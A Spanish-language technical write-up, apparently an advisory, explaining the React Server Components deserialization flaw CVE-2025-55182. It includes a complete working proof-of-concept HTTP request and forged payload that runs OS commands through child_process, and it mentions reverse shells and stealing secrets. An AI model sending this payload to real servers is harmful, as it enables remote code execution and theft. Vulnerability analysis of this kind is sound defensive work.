
Exploit de prueba de concepto que demuestra ejecución remota de código mediante deserialización insegura en el protocolo React Flight (CVE-2025-55182). Incluye reglas de detección para Snort y OSQuery.
REact Server Components es una funcionalidad introducida en React 19, que permite que los componentes se rendericen en el servidor en lugar de en el navegador del lado del cliente. El servidor puede manejar tareas de cómputo complejas mientras solo envía el resultado ya renderizado al cliente.
La comunicación entre el servidor y el cliente en RSC se basa en el protocolo React Flight. Este protocolo gestiona el proceso de serialización y deserialización de los datos transmitidos entre el servidor y el cliente. Cuando un cliente necesita llamar a una función del lado del servidor (Server Action), envía una solicitud con un formato especial que contiene datos ya serializados para que el servidor los deserialice y procese.
El protocolo Flight utiliza un formato de serialización específico con marcadores de tipo de datos. Ej:
Es precisamente este mecanismo de serialización donde reside la vulnerabilidad. El servidor procesa estas referencias sin validar correctamente que las propiedades solicitadas sean realmente exportaciones válidas del módulo previsto.
CVE-2025-55182 es, en esencia, una vulnerabilidad de deserialización insegura en la forma en que RSC maneja los payloads entrantes del protocolo Flight. La vulnerabilidad existe en la función requireModule del paquete react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
El error crítico reside en el acceso mediante notación de corchetes: moduleExports[metadata[2]]
En JavaScript, al acceder a una propiedad mediante notación de corchetes, el motor de JavaScript no solo verifica las propiedades del propio objeto, sino que también recorre toda la cadena de prototipos. Esto significa que un atacante puede hacer referencia a propiedades que el módulo no exporta explícitamente.
Lo más importante es que toda función en JavaScript tiene una propiedad constructor que apunta al constructor Function. Al acceder a someFunction.constructor, el atacante obtiene una referencia al constructor global Function, un objeto que puede ejecutar código JavaScript arbitrario cuando se invoca con un argumento de tipo cadena.
La vulnerabilidad se vuelve explotable porque el protocolo Flight de React permite que el cliente especifique estas rutas de propiedades mediante la sintaxis de referencia separada por dos puntos. El atacante puede crear una referencia como $1:constructor:constructor, que realizará el siguiente recorrido:
.constructor del mismo (obteniendo el Function Constructor).constructor una vez más (sigue siendo el Function Constructor, pero confirma la cadena de acceso)El PoC comienza enviando una solicitud multipart form con tres campos. El primer campo contiene un objeto Chunk falso creado intencionalmente:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Este objeto simula la estructura interna de la clase chunk en React. Al establecer then haciendo referencia a Chunk.prototype.then, crea una estructura autorreferencial. Cuando React procesa y hace await de este Chunk, el método then se invoca con el Chunk falso como contexto this
El siguiente componente crítico es la referencia $B1337. En el protocolo Flight de React, el prefijo $B representa una referencia a Blob. Cuando React procesa la referencia Blob, llama a una función que usa: response._formData.get(response._prefix + id)
Aquí, el objeto _response ha sido inyectado con propiedades maliciosas. Cuando el manejador de Blob ejecuta: response._formData.get(response._prefix + id)
En realidad ejecutará: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
La causa es que _formData.get está configurado como $1:constructor:constructor, referencia que se resuelve al Function constructor. El valor _prefix contiene el fragmento de código malicioso. Al combinarse, el Function constructor se invoca con la cadena de código malicioso como argumento, creando y ejecutando una función que contiene código JS arbitrario.
El payload process.mainModule.require('child_process').execSync('xcalc') ilustra la capacidad de esta explotación. El payload realiza lo siguiente:
process.mainModule (el módulo principal que se está ejecutando)require para cargar el módulo child_processexecSync para ejecutar un comando del sistema operativoxcalc) para demostrar la explotación exitosaEste payload puede modificarse para establecer una reverse shell, extraer variables de entorno que contengan información secreta, leer archivos sensibles o realizar cualquier operación que el proceso Node.js tenga permiso de ejecutar.
Veamos una solicitud completa en el PoC de maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Độ_dài_thực_tế_của_body]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
El header Next-Action: x activa el mecanismo de procesamiento de Server Action de React. El cuerpo consta de 3 partes:
_response maliciosa.$@0 que apunta de vuelta al campo 0, creando una estructura autorreferencial.Cuando el servidor procesa esta solicitud, deserializa el campo 0, encuentra la referencia $@0 en el campo 1, establece la propiedad then autorreferencial, y luego activa el manejador de Blob, que ejecutará el código a través del Function constructor.
CVE-2025-55182 afecta a React Server Components en las siguientes versiones: